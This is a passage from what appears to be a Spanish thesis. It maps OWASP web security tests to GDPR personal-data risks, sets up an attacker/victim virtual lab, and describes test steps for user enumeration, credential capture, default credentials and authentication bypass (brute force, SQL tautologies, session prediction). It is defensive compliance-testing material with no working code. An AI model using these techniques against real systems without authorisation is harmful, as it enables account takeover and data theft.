[WSTG-INFO-05] Revisar las fugas de in- | Sise localiza informacién interna de la apli- | EV
formacién en la paginas web. cacién, se pueden encontrar otras vulnera-
bilidades que pueden violentar la protec-
cién de datos.
[WSTG-INFO-06] Identificar los puntos de | Al identificar los puntos de entrada, se pue- | EV
entradas en las aplicaciones. den realizar ataques de inyeccién de codigo.
[WSTG-INFO-07] Identificar la estructura | Algunos de los ficheros y directorios cono- | DV
de archivos y directorios web. cidos pueden tener informacién sensible.
[WSTG-INFO-08] Obtener las caracteristi- | Al igual que ocurre con las aplicaciones, | EV
cas de los componentes del servidor web. los componentes pueden tener vulnerabili-
dades que permitan el acceso a datos per-
sonales.
[WSTG-INFO-10 | Mapear la arquitectura | Sabiendo la arquitectura de la aplicacién, | EV
del servidor. se puede determinar como llevar a cabo un
ataque sobre ésta.
[WSTG-CONF-01] Identificar la configura- | Identificar todos los componentes de la in- | EV
cién de la infraestructura de red. fraestructura permite ver si hay vulnerabi-
lidades conocidas, dentro de las cuales pue-
de haber algunas que afecten a los datos
personales.
[WSTG-CONF-02] Identificar la configura- | Si hay configuraciones por defecto y por | EV
cion de la plataforma de la aplicacién. tanto conocidas, se pueden realizar accio-
nes sobre la aplicacién que pueden incluir
el acceso a datos.
[WSTG-CONF-03] Probar el manejo de | Cambiando la extensién de ficheros de con- | EV
extensiones de ficheros. figuracion del servidor se podrian obtener
algunos que contengan informaciéon confi-
dencial de la aplicacién.
[WSTG-CONF-04] Revisar copias de segu- | Parte de los archivos que no estén publica- | DV
ridad antiguas y ficheros no referenciados. | dos o referenciados pueden contener datos
confidenciales de la propia aplicacién (por
ejemplo, ficheros de configuracién de la ba-
se de datos).
[WSTG-CONF-05] Enumerar las interfa- | Las interfaces de administrador suelen con- | DV
ces de administracién de la infraestructura | tener informacién sobre usuarios con privi-
y aplicacion. legios que tienen acceso a funcionalidades
que pueden incluir la manipulaciéon de da-
tos.
[WSTG-CONF-06] Probar los métodos | Permitir algunos métodos HTTP puede | EV

HTTP.

conducir a que se produzcan ataques de in-
yeccién de cédigo o de CSRF2.

2Un ataque de CSRF es uno en el que un atacante usa el navegador de una victima para enviar una solicitud
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por defecto.

ingresar de forma autenticada a la aplica-
cién con el fin de obtener acceso a datos
personales.

Prueba Comentarios Tipo
[WSTG-CONF-07] Probar la funcién de se- | Permite determinar si la aplicacién redirige | NA
guridad estricta de transporte HTTP. las peticiones de HTTP a HTTPS y si exi-

ge usar certificados validos. No obstante,

no implica poder explotar vulnerabilidades

que permitan acceder a datos personales.
[WSTG-CONF-08] Probar la politica de | Revisando las reglas se pueden encontrar | EV
dominios cruzado de RIA3. configuraciones débiles en las politicas que

permitan explotar otras vulnerabilidades.
[WSTG-CONF-09] Revisar los permisos de | Se puede determinar si existen permisos | AD
ficheros. de lectura sobre directorios y archivos que

pueden contener datos personales.
[WSTG-CONF-11] Probar el almacena- | Algunos servicios pueden tener informa- | AD
miento en la nube. cién confidencial accesible por usuarios que

no deberian hacerlo.
[WSTG-IDNT-01] Probar la definicién de | Al identificar los roles se puede determinar | DV
roles. si es posible acceder a datos de un usuarios

con permisos sobre datos personales.
[WSTG-IDNT-02] Probar el proceso de re- | Sise almacenan mds datos de los necesarios | AD
gistro. se irfa en contra del principio de Minimi-

zacién de datos del RGPD
[WSTG-IDNT-03] Probar el proceso de | Siun usuario se crea una cuenta y tiene la | AD
asignacién de cuentas. capacidad dar permisos por encima de los

suyos a otro usuario, éste podria acceder

a informacién confidencial almacenada por

la aplicacién.
[WSTG-IDNT-04] Enumerar las cuentas | Si la asignacién del usuario de las cuentas | AD
de usuario. sigue un patrén, se pueden obtener cuen-

tas que puedan acceder a informacién per-

sonal.
[WSTG-IDNT-05] Probar la politica de | De forma similar al apartado anterior, se | AD
nombres de usuario. puede obtener un usuario con permisos so-

bre informacién confidencial.
[WSTG-ATHN-01] Capturar el transporte | Si se transportan credenciales con un ci- | AD
de credenciales en canales cifrados. frado débil o inexistente, se pueden utili-

zar para acceder a la aplicacién y con ello,

si la aplicacién contiene datos personales,

obtenerlos.
[WSTG-ATHN-02] Probar las credenciales | Sise usan credenciales por defecto se puede | AD

falsa a un sitio web.[35]

3Una Aplicacion de Internet Enriquecida (RIA) es una aplicacién web disefiada para ofrecer las mismas carac-
teristicas y funciones asociadas con las apliaciones de escritorio.[73]
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Prueba

Comentarios

Tipo

[WSTG-ATHN-03] Probar el mecanismo
de bloqueo ante ataques.

Con éste se puede determinar si la aplica-
cion realiza acciones ante posibles ataques
automatizados, pero esta comprobacién va
referida a proteger a la aplicacién en vez
de explotar vulnerabilidades.

NA

[WSTG-ATHN-04] Eludir el esquema au-
tenticacion.

Si el esquema de autenticacién es débil, se
podria llegar a acceder a informacién con-
fidencial para la que el usuario no esta au-
torizado.

AD

[WSTG-ATHN-05] Probar la funcionali-
dad de Recordar Contrasena.

Si se consiguen las contrasenas almacena-
das, se puede entrar en la aplicaciéon para
acceder a la informacién del usuario origi-
nal en la que posiblemente se encuentren
datos de carédcter personal.

AD

[WSTG-ATHN-06] Probar las debilidades
de la caché en el lado del cliente.

La aplicacién puede llegar a recoger infor-
macion del navegador del cliente en el que
pueden estar presente datos personales.

AD

[WSTG-ATHN-07] Probar la politica de
contrasenas.

Sabiendo que la politica de establecimien-
to de las contrasenas es débil, un atacante
podria usar un diccionario con el patrén de
contrasenas para realizar ataques de fuerza
bruta sobre un usuario administrador con
posibles permisos de acceso a datos perso-
nales.

AD

[WSTG-ATHN-08] Probar las preguntas
de seguridad para recuperar contrasena.

Se puede adivinar la respuesta ante la pre-
gunta de seguridad para recuperar la con-
trasena y con ello acceder a datos confiden-
ciales y que pueden ser personales que solo
el usuario deberia poder ver.

AD

[WSTG-ATHN-09] Probar la funcionali-
dad de cambio recuperaciéon o restableci-
miento de contrasena.

Con este mecanismo se puede obtener la
contrasena y con ello realizar las acciones
mencionadas en la prueba anterior.

AD

[WSTG-ATHN-10] Probar la autenticacién
en canales alternativos o aplicacion exter-
na.

Si no hay una consistencia entre la apli-
cacién y el canal alternativo, un usuario
podria pasar como autenticado sin estarlo
y con ello poder acceder a datos privados
del verdadero usuario almacenados en la
aplicacién u otros datos personales si cuen-
ta con la capacidad de manejarlos.

AD

[WSTG-ATHZ-01] Incluir ficheros trans-
versales de directorio en las peticiones al
servidor.

Se podria acceder a otros ficheros o direc-
torios de la aplicacion por debajo del direc-
torio HOME que contengan datos personales.

AD

[WSTG-ATHZ-02] Eludir el esquema de

autorizacion.

Un usuario podria acceder a datos que no
deberia poder ver.

AD

[WSTG-ATHZ-03] Elevar los privilegios.

Un usuario podria obtener un rol con per-
misos superiores a los suyos y con ello ac-
ceder a datos confidenciales.

AD
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ble en una peticion HTTP.

dad del cliente si inyecta cédigo en la res-
puesta y engana al cliente para obtener da-
tos de éste.

Prueba Comentarios Tipo
[WSTG-ATHZ-04] Probar la referencia in- | Manipulando los pardmetros en las peticio- | AD
segura a objetos de forma directa. nes al servidor, se podria obtener informa-

cién de otros usuarios u objetos pertene-
cientes a éstos.
[WSTG-SESS-01] Probar el esquema de | Si las sesiones no se generan con suficiente | AD
gestién de sesiones. aleatoriedad, se podrian reutilizar para ac-
ceder a la aplicaciéon como otro usuario y,
con esto, a los datos que éste maneje, en los
que pueden incluirse algunos de caracter
personal.
[WSTG-SESS-02] Ver los atributos de las | Algunos atributos de las cookies pueden | AD
cookies. contener informacién confidencial de la
aplicacién como rutas de ficheros y directo-
rios que pueden contener datos personales
o de administracion.
[WSTG-SESS-03] Forzar la sesién median- | Se puede recuperar la sesién de un usuario | AD
te cookies. con permisos para acceder a datos perso-
nales para los que el atacante no estaria
autorizado.
[WSTG-SESS-04] Obtener las variables de | Con variables de sesién de otro usuario | AD
sesién expuestas en el servidor. se podria acceder al servidor para obte-
ner informacién confidencial perteneciente
al usuario, en el que pueden estar incluidos
datos personales.
[WSTG-SESS-05] Probar la falsificacién de | Esta se ejecuta del lado del cliente y consis- | AD
solicitudes entre sitios (CSRF). te en obligar a éste a realizar acciones sobre
la aplicacién en las que se puede incluir que
éste envie su informacién personal.
[WSTG-SESS-06] Probar el cierre de se- | Si es necesaria una sesién para acceder a | AD
sion. datos pero el cierre de ésta no se lleva a
cabo de forma exitosa, un atacante podria
usarla para obtener esos datos.
[WSTG-SESS-07] Probar el timeout de se- | Al igual que ocurre con el cierre de sesién, | AD
sién. se debe probar que el timeout no es lo su-
ficientemente alto y que invalida correcta-
mente la sesién.
[WSTG-SESS-08] Probar las generacién de | Si se genera la misma variable de sesién | AD
variables de sesién. para mas de un proposito, éstas podrian
reutilizarse lo que podria implicar un acce-
so a datos personales en aplicaciones que
realicen un manejo de éstos.
[WSTG-SESS-09] Identificar y secuestrar | Se podria secuestrar la sesién de un sitioen | AD
las cookies vulnerables, incluidas las de se- | el que se accede a informacién confidencial
sion. de individuos.
[WSTG-INPV-01] Inyectar cédigo ejecuta- | La aplicacién atentarfa contra la privaci- | AD
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Prueba

Comentarios

Tipo

[WSTG-INPV-02] Inyectar cédigo ejecuta-
ble en una entrada de datos persistente.

Se podria inyectar un script que recopile
aquellos datos personales que almacene la
aplicacién y los redirija a un sitio externo.

AD

[WSTG-INPV-04] Prueba de contamina-
cién de parametros HTTP.

La informacién devuelta por la aplicacién
cuando se modifican los parametros en las
solicitudes, podria conllevar a un ataque de
inyeccion de cédigo.

EV

[WSTG-INPV-05]
SQL.

Inyeccion de cdédigo

Con consultas manipuladas realizadas a la
base de datos de la aplicacién se pueden
obtener datos personales.

AD

[WSTG-INPV-06] Prueba de inyeccién de
Protocolo Ligero de Acceso a Directorios
(LDAP)“.

Un atacante podria obtener informacién de
otros usuarios, que pueden ser datos per-
sonales, en paginas que usen el protocolo
LDAP.

AD

[WSTG-INPV-07] Prueba de inyeccién
XMLS.

Se podria inyectar un usuario con privile-
gios de administracién, otorgandole permi-
sos para leer los directorios y ficheros que
tengan datos personales en la aplicacién.

EV

[WSTG-INPV-08] Prueba de inyeccién en
las directivas dindmicas del servidor (SSI).

Un atacante podria ejecutar comandos por
medio de piezas de cddigo dindmicas que
devuelvan datos personales almacenados
por la aplicacién.

AD

[WSTG-INPV-09] Prueba de inyeccién en
XPath.

Con una inyeccion con sintaxis XPath, se
podria eludir el mecanismo de autentica-
cién o acceder a informacién no autoriza-

da.

DV

[WSTG-INPV-10] Prueba de inyeccién en
los servidores de correo (IMAP/SMTP)S.

En aplicaciones que usen servidores de co-
rreo IMAP o SMTP, se podria acceder a in-
formacion almacenada en éstos, como nom-
bre o direccién de email.

AD

[WSTG-INPV-11] Prueba de inyeccién de
codigo.

Un atacante podria lanzar por medio de
una peticion cédigo que se ejecute en la
aplicaciéon para obtener informacion inter-
na de ésta.

AD

[WSTG-INPV-12] Prueba de inyeccién de

comandos.

Modificando la URL para que ejecute co-
mandos del sistema operativo en el que se
aloje la aplicacién, se podria obtener in-
formacién confidencial que puede contener
datos personales.

AD

4LDAP es un protocolo de la capa de aplicacién TCP/IP que permite el acceso a un servicio de directorio
ordenado y distribuido para buscar informacién en un entorno de red. Se utiliza principalmente para gestionar los

recursos de los usuarios. [57]

5XML es un lenguaje de desarrollo web utilizado para almacenar y transportar datos por medio de etiquetas.

(39]

6 Protocolo simple de transferencia de correo (SMTP): Protocolo usando en el servidor para enciar, recibir y
transmitir correos electrénicos desde clientes a un servidor de correo.
Protocolo de acceso a mensajes de Internet (IMAP): Protocolo utilizado por los clientes para recuperar mensajes

de correo electrénico.
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Prueba

Comentarios

Tipo

[WSTG-INPV-14] Prueba de vulnerabili-
dades incubadas.

Si podria inyectar cédigo en una aplica-
cién que obtenga datos personales si son
almacenados en ésta para posteriormente
ser ejecutado.

AD

[WSTG-INPV-15] Prueba de contrabando
y divisién HTTP.

Con estas pruebas, un atacante podria lle-
gar a acceder a datos confidenciales de la
aplicacién asi como afectar a otros usuarios
de ésta pudiendo llegar a robar informacién
personal.

DV

[WSTG-INPV-16] Prueba de solicitudes
HTTP entrantes.

Con ésta se pretende monitorizar la activi-
dad en el servidor lo cual actiia como una
medida de defensa. No obstante, inicamen-
te permite detectar ataques, no llevarlos a
cabo con lo cual no tiene relacién directa
con datos de usuarios.

NA

[WSTG-INPV-17] Prueba de inyeccién de
encabezados de host.

Al redirigir las solicitudes, un atacante
podria robar las credenciales de un usua-
rio y con ello obtener acceso a informacion
personal de éste o mas usuarios.

AD

[WSTG-INPV-18] Prueba de inyeccién de
plantillas del lado del servidor.

Con esta prueba se podria llegar a obte-
ner informacién de elementos internos de
la aplicacién que permitiria explotar otras
vulnerabilidades.

EV

[WSTG-INPV-18] Prueba de falsificacién
de solicitudes en el lado del servidor.

Se puede acceder a informacién confiden-
cial de la aplicacién cambiando los pardame-
tros de la solicitud con la inclusiéon de ar-
chivos remotos y locales, asi como con otros
sistemas backend” internos.

DV

[WSTG-ERRH-01] Prueba de manejo in-
correcto de errores.

En los mensajes de error de la aplicacion
puede aparecer informacién sobre elemen-
tos internos, lo que el atacante aprove-
charia para explotar las vulnerabilidades
presentes en éstos.

EV

[WSTG-CRYP-01] Pruebas de seguridad
de la capa de transporte.

Permite determinar si es posible acceder a
informacion en texto claro explotando vul-
nerabilidades si se transportan datos con
protocolos SSL8.

DV

[WSTG-CRYP-02] Prueba de padding ora-
cle.

Si se aplica la funcién de ordculo de relleno,
permitiria a un atacante descifrar datos ci-
frados cifrar o usar datos arbitrarios sin co-
nocer la clave utilizada para estas operacio-
nes criptogréficas, lo que puede conducir a
la fuga de datos confidenciales o a escalar
privilegios.

EV

"Parte de la aplicacién que contiene toda la 1égica detrés de su la funcionalidad.
8 Secure socket layer (SSL): Tecnologia estdndar para mantener una conexién segura que proteja los datos trans-

mitidos por medio de internet.
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Prueba

Comentarios

Tipo

[WSTG-CRYP-03] Prueba de envio de in-
formacion sensible mediante canales no ci-
frados.

Se puede obtener informacién personal si
no se transmiten debidamente cifrados.

AD

[WSTG-CRYP-04] Prueba de cifrado

débil.

Si si accede a datos personales, se pueden
obtener o recuperar facilmente si se usa
una funcién de cifrado débil al almacenar-
los en la aplicacion.

AD

[WSTG-BUSL-01] Prueba de validacién de
datos de légica de negocio.

No validar bien los datos tanto en el front-
end como en el backend puede conducir fa-
cilitar un ataque de inyeccién (por ejem-
plo, que debiendo solo permitir solo datos
numéricos se puedan introducir caracteres
no numéricos).

EV

[WSTG-BUSL-02] Prueba de capacidad de
falsificaciéon de entrada.

Un atacante podria adivinar o encontrar
funciones ocultas interceptando las solici-
tudes mediante un proxy, lo cual no afecta
a los datos personales.

NA

[WSTG-BUSL-03] Prueba de comproba-
cién de integridad.

Iniciando sesiéon se podria ver parte de
identificadores de objetos que no les perte-
nece y por medio de un proxy leer o modi-
ficar la informacién completa relacionada
a esos objetos, en la que se puede incluir
informacién personal de otros usuarios.

AD

[WSTG-BUSL-04] Prueba de tiempo de

procesamiento.

Insertando un usuario en un formulario y
observando el tiempo de respuesta del sis-
tema, se podria comprobar la existencia de
éste. De existir, conduciria a un atacante
realizar un ataque de fuerza bruta sobre
la contrasenia. Si se tiene éxito, se puede
obtener informacién personal a la que este
usuario tenga acceso.

DV

[WSTG-BUSL-05] Comprobacién  del
nimero de veces que una funcién puede
ser usada.

Limitar el nimero de veces de una funcién
puede ayudar a detectar un comportamien-
to irregular de un usuario pero no esta di-
rectamente relacionado con el acceso a da-
tos personales.

NA

[WSTG-BUSL-06] Pruebas de elusién de
flujos de trabajo.

Se podria eludir el flujo habitual de trabajo
para acceder a la aplicacién como usuario
autenticado sin estarlo, lo que podria pro-
vocar un acceso a informacién confidencial.

AD

[WSTG-BUSL-07] Prueba de defensa con-
tra el uso indebido de la aplicacion.

Ejecutando acciones andmalas sobre la
aplicacién (por ejemplo, introducir carac-
teres especiales en los parametros de la
URL), se puede someter a la aplicacién a
un escenario no previsto con lo cual puede
llevar a una fuga de informacién interna
que permita explotar algunas vulnerabili-
dades.

EV
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Prueba

Comentarios

Tipo

[WSTG-BUSL-08] Prueba de subida de fi-
cheros con extensiéon distinta a la esperada.

No validar las extensiones podria llevar a
insertar ficheros que ejecuten c6digo o co-
mandos que permitan acceder a datos per-
sonales de usuarios almacenados en la apli-
cacion.

AD

[WSTG-BUSL-09] Prueba de subida de fi-
cheros maliciosos.

Se podria introducir cédigo dentro de los
ficheros permitidos por el servidor con el
mismo fin que la prueba anterior.

AD

[WSTG-CLNT-01] Prueba de secuencia de
comandos cruzados basados en DOM?®.

Por medio de referencias al documento co-
mo lo es un campo de formulario o una
cookie de sesion, se puede modificar el con-
tenido activo mediante DOM para obtener
informacion del cliente, la cual puede in-
cluir datos personales.

AD

[WSTG-CLNT-02] Prueba de ejecucién de
JavaScript.

Inyectando cédigo js en el navegador del
cliente, se puede obtener la informacién
presente en éste.

AD

[WSTG-CLNT-03] Inyeccién de cédigo
HTML.

En este caso, se inyecta cédigo html den-
tro de una peticién del cliente para obtener
informacién sobre éste.

AD

[WSTG-CLNT-04] Prueba de redireccién
de URL del lado del cliente.

Redirigiendo al cliente a una URL que re-
coja informacién sobre éste, se pueden ob-
tener datos personales.

AD

[WSTG-CLNT-05] Inyeccién de cédigo
CSs!e.

Dentro de codigo CSS, un atacante podria
inyectar un fragmento de c6digo HTML cu-
ya finalidad sea obtener informacién con-
fidencial almacenada en el navegador del
cliente.

AD

[WSTG-CLNT-06] Prueba de manipula-
cién de recursos del lado del cliente.

Si la aplicacién emplea entradas sin vali-
dar, un atacante podria cargar c6digo ma-
licioso en la respuesta al cliente para obte-
ner datos almacenados en el navegador de
éste, que pueden ser privados.

AD

[WSTG-CLNT-07] Prueba de intercambio
de recursos de origen cruzado.

En una aplicacién que se permita el control
de acceso desde el origen, se podria rediri-
gir la peticién a una pagina que contenga
cédigo malicioso que permita acceder a in-
formacién sobre el cliente.

AD

[WSTG-CLNT-08] Prueba de peticiones
cruzadas entre sitios para cargar compo-
nentes Flash!'!.

En aplicaciones que usen AdobeFlash, se
puede realizar un ataque Flashing de sitios
cruzados, cuyo impacto es similar a XSS,
para redirigir la peticion de un usuario a
una pagina maliciosa que obtenga informa-
cién sobre éste.

AD

9 Document Object Model (DOM): Interfaz de programacién de documentos HTML y XML que permite repre-

sentar cada uno de éstos como un grupo de nodos

10CSS: Lenguaje de disefio gréafico para definir y crear la presentacién de un documento estructurado.
11ht:tps ://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/
11-Client-side_Testing/08-Testing_for_Cross_Site_Flashing
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Prueba

Comentarios

Tipo

[WSTG-CLNT-09] Prueba de secuestro del
clic.

Una péagina puede obligar a un usuario a
pulsar sobre una opcién aparentando ser
segura cuando en realidad podria conllevar
a realizar acciones que incluyan la ejecu-
cién de comando para obtener informacién
del cliente.

AD

[WSTG-CLNT-10] Prueba de sockets web.

Se replican las solicitudes y respuestas lle-
vadas a cabo por medio de un websocket
para buscar vulnerabilidades conocidas.

EV

[WSTG-CLNT-11] Prueba de mensajeria
web.

Es posible que se intercambien mensajes
desde un origen de dominio no seguro lo
cual puede derivar en ataques XSS.

EV

[WSTG-CLNT-12] Prueba de almacena-
miento en el navegador.

Si se almacenan datos confidenciales en el
navegador en los que puede haber informa-
cion personal del cliente, ésta puede ser ac-
cesible por un usuario que realice ataques
de lado del cliente.

AD

[WSTG-CLNT-13] Pruebas de inclusién de
secuencias de comandos en sitios cruzados.

Por medio de la ejecucién de comandos des-
de otros sitios, se puede acceder a datos
personales de clientes que se usen la apli-
cacion.

AD

[WSTG-APIT-01] Prueba de GraphQL.

Si la configuracién de este lenguaje no es
la adecuada, se podrian realizar ataques

genéricos en los que se incluyen la inyec-
cion SQL o el XSS.

EV

Tabla 4.1: Pruebas OWASP sobre vulnerabilidades que acceden a datos personales

Habiendo realizado la clasificacién de las pruebas, se puede calcular el porcentaje de cada tipo de
pruebas para la metodologia OWASP:

Tipo | Cantidad %
AD 55 59,78
EV 21 22,83
DV 11 11,96
NA 5 5.43

Total 92 100

Tabla 4.2: Porcentaje de cada tipo de pruebas en la metodologia OWASP

4.2. Entorno de pruebas controlado

Antes de lanzar las pruebas sobre un sistema real, lo adecuado seria comprobar que éstas funcionan
y que, por tanto, los resultados que se obtienen son validos. Por ello es muy recomendable y casi
imprescindible realizar las pruebas sobre un sistema en el que estén presentes las vulnerabilidades
que podrian aparecen en uno real y cuya salida sea conocida, permitiendo asi verificar el correcto
funcionamiento de cada una de las pruebas. Esto conlleva a la implementacién de un entorno de
pruebas controlado, cuya configuraciéon debe cumplir al menos los siguientes requisitos:
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1. Debe haber una maquina atacante, que lance las pruebas sobre una que adquiere el rol de
victima.

2. La maquina victima es la que se evaliia para determinar si contiene vulnerabilidades explo-
tables que puedan afectar a datos personales.

3. Entre ambas méaquinas debe haber conectividad a nivel de las capas de red, transporte y
aplicacion.

Una forma de hacer que ambas maquinas estén conectadas es hacer que estén dentro de la misma
red. Para ello, se asigna una direccién IP a cada una de ellas y un adaptador de red entre ambas
que redirija las peticiones y respuestas al destino correspondiente. Una peculiaridad que surge en
este escenario es el hecho de que la méquina victima debe tener una IP estatica, de modo que
siempre pueda ser accesible por el resto a partir de su direccién IP. En la figura 4.2 se muestra un
diagrama de red de la conectividad de los dispositivos dentro del entorno de pruebas controlado.

l__._ — 0 Peticion l__._ —

| Respuesta |

—/= | —=— |
/—=\ /—=\

| = =
Méaquina Atacante Méagquina victima
192.168.56.x/24 Tha == o 192.168.56.101/24

Adaptador de red
192.168.56.1/24

Figura 4.2: Diagrama de red para dos maquinas virtuales dentro de un entorno de pruebas contro-
lado

Como se puede observar en el diagrama, a la maquina victima se le ha asignado una direccién IP
estédtica (192.168.56.101), mientras que en la atacante aparece con una X al final para indicar que
puede ser cualquiera. Esto ultimo permitiria automatizar la asignacién de direcciones IP a nuevas
maquinas que se incorporen a la misma red. Cabe destacar que esto ultimo no es estrictamente
necesario y la asignacién a la maquina atacante puede ser estdtica. Ademds, la direccién IP de la
victima no tiene que ser necesariamente la que se muestra en la figura, el requisito indispensable
que debe cumplir es que sea estatica debido los servicios que presta.

El caso descrito no es el inico que se podria dar, en algunas ocasiones la propia maquina anfitriona
puede actuar como atacante, con lo cual seria la que lanza las peticiones sobre la victima y ser el
propio adaptador de red. En la figura 4.3 se muestra como seria este escenario.
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. Peticion l__._ —
Respuesta |
7\ g, |
[—=\
=
Magquina Atacante (anfitriona) Maquina victima
192.168.56.1/24 192.168.56.101/24

Figura 4.3: Diagrama de red para una maquina anfitriona y una maquina virtual dentro de un
entorno de pruebas controlado

Entrando en detalle en cada una de las maquinas, éstas deben contener una serie de caracteristicas
para su correcto funcionamiento dentro del entorno de pruebas:

= Maquina atacante: Debe ser capaz de lanzar peticiones a la maquina victima e interpretar
la respuesta recibida. Realizar estas acciones requieren el uso de algunos programas (ver
Anexo II). Por tanto, el requerimiento primordial es que la maquina atacante cuente con los
programas necesarios para lanzar las pruebas o que sea capaz de instalarlos en ella.

Una recomendacion es usar una maquina de Linux, que permite ejecutar gran parte de los
programas desde linea de comandos de una forma bastante sencilla, en particular una similar
a Kali Linuz que ya viene con la mayor parte de las herramientas presentes por defecto. La
instalacion de ésta se puede llevar a cabo de forma nativa o como una virtual.

= Méaquina victima: En este caso debe contener una serie de vulnerabilidades que sean ex-
plotables desde la maquina atacante. Por lo general se debe instalar de forma virtual usando
gestores de maquinas virtuales. Ejemplos de maquinas que pueden actuar con el rol de victima

son las que aparecen en este enlace!?.

4.3. Diseno de Pruebas

En esta seccién se lleva a cabo el disenio de las pruebas lanzadas a la maquina virtual con el fin de
explotar las vulnerabilidades presentes en ésta, para de este modo verificar que es posible obtener
acceso a datos personales. El conjunto de pruebas que forman parte del diseno parten de una guia
publicada por OWASP referida a pruebas de seguridad en paginas web, Web Security Testing Guide
v4.2[59).

Se han seleccionado 14 pruebas cuyos resultados a la hora de explotar diversas vulnerabilidades
podrian dar acceso a datos de caracter personal. Pese a ello, se puede ampliar al total de pruebas
que exploten vulnerabilidades que permitan el acceso no autorizado a datos personales (segin se
describe en la seccién 4.1) consultando la gufa de OWASP.

Cabe destacar que las pruebas no son especificas de un entorno de pruebas, si no que se puede
extender a sistemas web reales en producciéon que busquen comprobar si en sus aplicaciones se
cumple con la normativa vigente en lo que respecta al tratamiento de datos. A continuacién se
muestra una tabla con los objetivos de cada una de las pruebas junto a las tareas o acciones

12https://www.dragonjar.org/aplicaciones-web-vulnerables.xhtml
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a realizar con el servidor web y, para algunas de ellas, recomendaciones para evitar que se den
situaciones que atenten contra la privacidad de datos personales.

WSTG-IDNT-04 Enumerar las cuentas de usuario
Objetivos

= Revisar los procesos relacionados con la identificacién del usuario
(registro, inicio de sesién, etc.).

= Enumerar a los usuarios cuando sea posible a través del analisis de
respuestas.

Pruebas
= Caja negra: Por un lado, usar un proxy web y analizar los men-
sajes de respuesta, codigos de error, cédigos de respuesta HTTP,
parametros de respuesta en la URL y el tiempo de respuesta para
las siguientes peticiones de login:
e Usuario y contrasena validos.
e Usuario existente y contrasena invalida.
e Usuario no existente.
Por otro lado, intentar adivinar un patrén de asignacién de nombre
de usuarios que puede ser secuencial (Usuario001, Usuario002...),
con un alias REALM (R1001 - usuario 001 para REALM1, R2001
- usuario 001 para REALMZ2...) o una concatenacién de prime-
ras letras de nombres y apellidos. Se puede realizar una consulta
LDAP'3 o buscar informacién de dominios especificos.
= Caja gris: Las mismas que las pruebas de caja negra, pero utili-
zando un usuario existente en el sistema para comprobar que tipo
de acciones podria realizar en el mismo.

Recomendaciones

= Devolver un mensaje de error genérico y consistente en respuesta
a cualquier tipo de entradas de usuarios que lleven a un inicio de
sesion fallido.

= Eliminar las cuentas del sistema predeterminadas y de pruebas
antes de lanzar el sistema a produccién o a una red que no sea de
confianza.

WSTG-ATHN-01 | Capturar el envio de credenciales en canales cifrados
Objetivos

= Evaluar si algin caso de uso del sitio web o aplicacién hace que el
servidor o el cliente intercambien credenciales sin cifrar.

13Protocolo ligero de acceso a directorios
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Pruebas

Configurar una herramientas para capturar trafico y deshabilitar
cualquier funciéon o complemento que haga que el navegador fa-
vorezca a HTTPS. Para poder descifrar las conexiones de forma
transparente, se debe romper la cadena de certificacion utilizada
por HTTPS, introduciendo entre el cliente y el servidor un certifi-
cado autofirmado.

En las paginas de inicio de sesién y crear cuenta, intentar forzar la
navegacion para usar HT'TP y rellenar los formularios para deter-
minar si no se cifran los datos transmitidos.

Verificar si es posible forzar la navegacién a HT'TP con otras funcio-
nalidades de manipulacién de cuentas como recuperar contrasena,
editar credenciales o autenticacién en portales externos.

Estando conectado, forzar la navegacién a HTTP para ver si se
mantienen cifradas en todo momento las credenciales del cliente.

Recomendaciones

Utilizar HTTPS para todo el sitio web.

Implementar la  Seguridad de transporte estricta HTTP
(HSTS)[34].

Redirigir cualquier peticién con el protocolo HTTP a HTTPS.

WSTG-ATHN-02 | Probar las credenciales por defecto

Objetivos

= Enumerar las solicitudes de credenciales por defecto y validar si

aun existen.

= Revisar y evaluar nuevas cuentas de usuario y si se crean con valores

predeterminados o patrones identificables.
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Pruebas
= Caja negra:

e Revisar la documentaciéon para conocer los datos de acceso
al sistema. Esto incluye también a los componentes, con lo
cual, si se saben cudles son aquellos con los que se soporta el
servidor, se puede averiguar cudles son sus credenciales por
defecto.

e Probar a acceder a la aplicacién mediante un proceso de au-
tenticacion web con el método POST, con los nombres de
usuarios mas populares, los de las aplicaciones y los relacio-
nados a clientes. Para cada nombre de usuario, probar con
contrasenas en blanco.

e Buscar referencia a usuarios y contrasenas en el cédigo y Ja-
vaScript, pardmetros ocultos adicionales en las solicitudes de
tipo GET (por ejemplo, login=yes) y nombres de cuenta y
contrasenas escritas en los comentarios del cédigo fuente.

e En la pagina de registro de usuarios, evaluar si la pagina tiene
restricciones en los pardmetros (longitud, uso de caracteres es-
peciales...), determinar si la aplicacién asigna los nombres de
usuarios para fuzzear'®, realizar un ataque de fuerza bruta con
usuarios y contrasenas predecibles, si se conoce el usuario en-
tonces realizar un ataque de fuerza bruta usando contrasenas
predecibles relacionadas con el usuario o con contrasenas en
blanco.

= Caja gris:

e Inspeccionar la base de datos de usuarios para las credenciales
predeterminadas y comprobar si hay campos de contrasenas
en blanco.

e Buscar en el cédigo y archivos de configuracion nombres de
usuarios y contrasenas.

e Examinar las politicas de contrasenas, para determinar si se
generan automaticamente o si el usuario debe indicarla.

WSTG-ATHN-04 | Eludir el esquema de autenticacién
Objetivos

= Asegurarse de que la autenticacion se aplique en todos los servicios
que la requieran.

14T¢cnica que mediante un programa permite probar con distintas combinaciones de entradas para evaluar las
salidas producidas por la aplicacién.
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Pruebas

= Caja Negra: Probar con los siguientes métodos.
e Solicitud de péagina directa: Forzar la navegacién para

acceder a recursos en los que no se aplique el control de acceso,
mediante fuzzing sobre el directorio raiz.

Modificacién de parametros: Algunos parametros pueden
controlar el acceso a recursos a paginas. Si se identifican solo
habria que cambiar su valor para intentar obtener el recurso
deseado.

Prediccién de ID de sesion: Determinar si los identifica-
dores de sesién dentro de las cookies se generan siguiendo un
patrén a lo largo del tiempo para llevar a cabo un ataque de
fuerza bruta sobre los campos en los que se producen varia-
ciones.

Inyeccion SQL: En recursos cuyo acceso requiera de autenti-
cacion rellenando un formulario, emplear algunas tautologias
de las usadas para la inyeccion de cédigo SQL intentar eludir
el esquema de autenticacién.

s Caja gris: Si se tiene acceso al cédigo fuente de la aplicacién, se
puede omitir el control analizando el cédigo con el fin de deter-
minar si existe alguna vulnerabilidad conocida relacionada con los
operadores y las funciones propias del lenguaje empleada para el
cédigo (por ejemplo, la vulnerabilidad PHPBB 2.0.13%%).

WSTG-ATHZ-01 Inclusion de ficheros a través de rutas transversales de direc-
torio en las peticiones al servidor

Objetivos

= Identificar los puntos de inyeccién que pertenecen al recorrido de
la ruta.

= Evaluar las técnicas de elusién e identificar el alcance del recorrido
